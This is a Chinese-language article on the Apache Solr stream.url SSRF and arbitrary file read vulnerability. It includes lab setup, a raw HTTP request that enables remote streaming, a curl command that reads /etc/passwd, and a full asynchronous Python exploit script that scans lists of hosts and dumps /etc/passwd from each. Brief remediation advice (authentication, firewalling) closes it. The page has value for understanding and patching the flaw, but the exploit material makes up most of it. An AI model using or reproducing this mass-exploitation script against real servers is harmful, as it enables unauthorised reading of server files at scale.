Apache-Solr任意文件读取漏洞怎么修复

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漏洞描述

Apache Solr是一个开源的搜索服务，使用Java语言开发。Apache Solr的某些功能存在过滤不严格，在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或文件读取漏洞。

漏洞评级

Apache Solr stream.url SSRF与任意文件读取漏洞 中危

影响版本

Apache Solr 所有版本

安全版本

官方不予修复，暂无安全版本。

复现过程

环境搭建

docker search solrdocker pull solrdocker run -d -p 8983:8983 solrdocker  exec  -it  实例id  /bin/bashcp -r server/solr/configsets/_default/conf /var/solr/data/test1

参考：http://www.bubuko.com/infodetail-3118740.html

漏洞复现

首先获取core

以my_core测试为例，

POST /solr/my_core/config HTTP/1.1Host: x.x.x.x:8983Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 84{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

读取文件

curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

EXP：

#!/usr/bin/python# coding: UTF-8import argparseimport asyncioimport jsonimport pathlibfrom typing import Tuplefrom urllib.parse import urlparseimport httpxclass URLAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not urlparse(values):raise ValueError("Not a valid url!")setattr(namespace, self.dest, values)class FILEAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not pathlib.Path(values).exists():raise ValueError("File not exists!")setattr(namespace, self.dest, values)parser = argparse.ArgumentParser(description="Solr Poc")parser.add_argument("--host", type=str, action=URLAction, help="target host uri")parser.add_argument("--file", type=str, action=FILEAction, help="target host file")parser.add_argument("--conn", type=int, default=10, help="asyncio max connetions")args = parser.parse_args()SEM = asyncio.Semaphore(args.conn)RESULT = {}async def check(host: str) -> Tuple[str, bool]:status = Falseasync with SEM:async with httpx.AsyncClient(base_url=host) as client:try:core_data = (await client.get("/solr/admin/cores?indexInfo=false&wt=json", timeout=3)).json()except httpx.ReadTimeout:print(f"{host} TimeOut!")status = "TimeOut"else:if (data_status := core_data["status"]) :core =  list(data_status.keys())[0]await client.post(f"/solr/{core}/config",json={"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": "true"}},)result_data = (await client.post(url=f"/solr/{core}/debug/dump?param=ContentStreams",data={"stream.url": "file:///etc/passwd"},)).json()if (streams := result_data["streams"]) :print(streams[0]["stream"])status = Truefinally:RESULT[host] = statusreturn host, statusasync def loop(urls):await asyncio.gather(*list(map(check, urls)))def main():result_file = pathlib.Path("solr_main.json")try:urls = set()if args.host:urls.add(args.host)if args.file:with pathlib.Path(args.file).open("r") as file:urls = urls.union({url for line in file if urlparse((url := line.strip()))})print(f"tasks: {len(urls)}")asyncio.run(loop(urls))except KeyboardInterrupt:passfinally:with result_file.open("w") as file:file.write(json.dumps(RESULT, indent=4, ensure_ascii=True))

修复建议

1. 增加身份验证/授权

2. 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙，以便只允许受信任的计算机和人员访问。

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